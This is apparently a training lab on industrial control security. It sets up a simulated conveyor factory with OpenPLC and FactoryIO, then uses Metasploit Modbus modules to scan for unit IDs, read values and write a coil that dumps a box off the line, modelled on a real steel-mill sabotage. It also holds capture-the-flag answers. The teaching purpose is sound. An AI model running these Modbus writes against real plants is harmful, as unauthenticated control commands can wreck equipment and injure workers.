OT 121: Destroying a Factory (25 pts)

What You Need

Purpose

In 2022, Israeli-linked hackers penetrated a steel mill in Iran and caused it to malfunction, dropping molten steel on the floor. The molten steel barely missed two workers who were running away, and burned down the steel mill.
You can read more about that attack here:
How a Group of Israel-Linked Hackers Has Pushed the Limits of Cyberwar
In this project, you set up a simulated factory, program OpenPLC to automate it, and then attack it with Metasploit, causing it to drop a box on the floor.

This is a very simplified imitation of the Israeli attack on the steel mill.

Installing OpenPLC Editor

On your Windows machine, if you don't already have it installed, get OpenPLC Editor from:
https://autonomylogic.com/download/
If you see a "Windows protected your PC" box when installing it, click "More info", and click "Run anyway".

Installing FactoryIO (30 day trial)

On your Windows machine, if you don't already have it installed, get FactoryIO from:
https://factoryio.com/
If you have difficulty installing .NET 3.5, see this page:
https://learn.microsoft.com/en-us/dotnet/framework/install/dotnet-35-windows
On Server 2022, use Server Manager to install the feature: ".NET Framework 3.5 Features".

Creating a Project

Launch OpenPLC Editor, as shown below.

From the menu bar, click File, "Check for updates...". Update and relaunch the program.

In OpenPLC Editor, at the top left, click the New icon, outlined in blue in the image below.

Create a new empty folder to save your project, with a name such as OT121

A "Create a new POU" (Program Organization Unit) box appears.

Enter a POU Name of Main and select a Language of FBD (Functional Block Diagram), as shown below.

In the "Create a new POU" box, click OK.

Adding Variables

In the top right, click the green plus-sign, outlined in blue in the image below, twice.

Two rows appear. Enter these values, as shown below. By convention, Inputs start with I and Outputs start with Q. (O is not used to avoid confusion with zero.)

Drag the # 1 from the Variables list and drop it on the lower portion of the top center pane, as indicated by the blue arrow in the image below.

A box appears labeled "I_Sensor". Drag # 2 down also, as shown below.

Double-click on the Q_Conveyor box. In the Variable Properties box, change the Class to Output.

Click OK.

Drag the line from the I_Sensor box to the Q_Conveyor box, as shown below.

Click the yellow down-arrow icon, outlined in red in the image above, to generate a program for the OpenPLC runtime.

A "Save to file" box appears. Save the program as OT121.st

Close OpenPLC Editor. Save your changes.

Installing OpenPLC Runtime

On your Debian machine, if you don't already have the OpenPLC Runtime installed, execute these commands, one at a time:
cd
sudo apt-get install git -y
git clone https://github.com/thiagoralves/OpenPLC_v3.git
cd OpenPLC_v3
./install.sh linux

Starting OpenPLC Runtime

On your Debian machine, execute these commands, one at a time:
cd
cd OpenPLC_v3
sudo ./start_openplc.sh
OpenPLC starts, and displays various addresses to view the Dashboard, as shown below.

Opening the OpenPLC Dashboard

On your Windows machine, in Firefox, go to the last address displayed in your Linux terminal.

Log in with username openplc and password openplc

The Dashboard appears, as shown below.

Uploading the Program

In the OpenPLC dashboard, on the left side, click Programs.

On the right side, click the Browse... button. Navigate to your OT121.st file and double-click it.

The filename appears, as shown below.

Click the "Upload Program" button.

On the Program Info page, enter a Name of OT121, as shown below, and click the "Upload program" button.
A message shows "Compiling Program".

When it finishes, click the "Go to Dashboard" button.

Opening a Scene in FactoryIO

Launch FactoryIO, as shown below.

If the letters are too small to read, close FactoryIO, right-click its shortcut on your desktop, and click Properties. On the Compatibility tab, click the "Change high DPI settings" button. Try the options. On my system, the best choice was "High DPI scaling override" with scaling performed by "System".

Choosing a Scene

In FactoryIO, at the top left, click Scenes.

Click "1 - From A to B", as shown below.

The Scene loads, showing a conveyor belts and a box, as shown below.
At the top right, click the "Palette Window" icon, outlined in yellow in the image above. This hides the list of components, so you can see the whole Scene.

Selecting the Modbus Driver

At the top left, click FILE, Drivers.

In the DRIVER list, select "Modbus TCP/IP Server", as shown below.

Adjusting the Modbus Configuration

At the top right, click CONFIGURATION.

Notice the IP address in the Host box at the top, as shown below. Make a note of it--you'll need it later.

Scroll to the bottom of the CONFIGURATION window.

Notice the IO Points section, as shown below. By default there are 2 Digital Inputs and one Digital Output. In our scene, we only need one input and one output, so the default values are fine.

At the top left, next to CONFIGURATION, click the back-arrow.

At the bottom right, click the eye icon, so your Modbus configuration becomes transparent, showing the scene behind it, as shown below.

In the top center, notice that the correct IP address is now displayed, along with the Slave ID which is 1 by default.

Connecting OpenPLC to FactoryIO

In the OpenPLC dashboard, on the left side, click "Slave Devices"
If you see an existing slave device, as shown above, click the slave device's name and click the "Delete device" button.

Now you should have an empty list of slave devices, as shown below.

Click the "Add new device" button.

Enter these values into the form, as shown below:

Device Name:Factory_IO
Device Type:Generic Modbus TCP Device
Slave ID:1
IP Address:Your Factory IO IP Address
IP Port:502
Discrete Inputs:Start Address: 0     Size : 2
Coils:Start Address: 0     Size : 1
Input Registers:Start Address: 0     Size : 0
Holding Registers - Read:Start Address: 0     Size : 0
Holding Registers - Write:  Start Address: 0     Size : 0
At the bottom, click the "Save device" button.

Starting the PLC

On the lower left, click the "Start PLC" button.

The Runtime Logs pane fills with messages, as shown below.

On left, click Monitoring.

The I_Sensor and Q_Conveyor lines should both show a Value of TRUE and a green light icon, as shown below.

If they do not, make sure the firewall on your Windows machine is turned off.

Running the Scene

In Factory IO, at the top left, next to DRIVER, click the back-arrow.

At the top center, click the Run button, outlined in yellow in the image below.

The box moves down the Conveyor, as shown below, and stops when it blocks the Sensor.

Your factory is being controlled by the PLC from the Linux server!

Flag OT 121.1: Monitoring (20 pts)

Look at the OpenPLC dashboard, on the Monitoring page.

The flag is the word covered by green rectangles in the image below.

Installing Metasploit on Debian Linux

On your Debian machine, execute these commands, one at a time:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall

chmod 755 msfinstall

./msfinstall
Enter your password when you are prompted to.

Launching Metasploit

On your Debian machine, execute this command:
msfconsole
It asks if you would like to setup a new database. Answer no

Finding Modbus Attacks

At the msf6 > prompt, execute this command:
search modbus
Several modbus attacks appear, as shown below.

Scanning for Active Slaves

At the msf6 > prompt, execute these commands:
use auxiliary/scanner/scada/modbus_findunitid
show options
The module options appear, as shown below.

The only options we need to specify are RHOSTS (to tell it where the Modbus network is) and UNIT_ID_TO (to make the scan end more quickly).

At the msf> prompt, execute these commands:
set RHOSTS Your Factory IO IP Address
set UNIT_ID_TO 10
run
The module correctly finds StationID 1 as the only slave in use, as shown below.

Reading Data from the Slave

At the msf6 > prompt, execute these commands:
use auxiliary/scanner/scada/modbusclient
show options
set DATA_ADDRESS 0
set NUMBER 5
set RHOSTS Your Factory IO IP Address
set UNIT_NUMBER 1
run
You see five zeroes, as shown below.

The Attack: Starting the Conveyor

At the msf6 > prompt, execute this command:
info
As shown below, this module can not only read data, but write it.
At the msf6 > prompt, execute these commands:
set ACTION WRITE_COIL
set DATA 1
exploit 
Look at the Factory IO window. The box remains stopped at the end of the conveyor. This is because the running OpenPLC program is keeping the conveyor OFF.

Suppose we, as an attacker, have a way to stop the PLC, with a DoS attack. To simulate that, in the OpenPLC Dashboard, click the "Stop PLC" button.

The Status changes to Stopped, as shown below.

Bring the Factory IO window to the top so you can see it.

Then, on your Linux server, at the msf6 > prompt, execute this command:

exploit 
The Conveyor turns on, dumping the box off the end, as shown below.

Flag OT 121.2: Metasploit Output (10 pts)

Your Linux command line shows the flag, covered by a green rectangle in the image below.

References

Learning OpenPLC and automation with Factory I/O

Posted 2-4-24
Renamed 2-8-24
OT 121.2 flag number fixed 3-13-24
Updating OpenPLC editor step and video added 7-19-24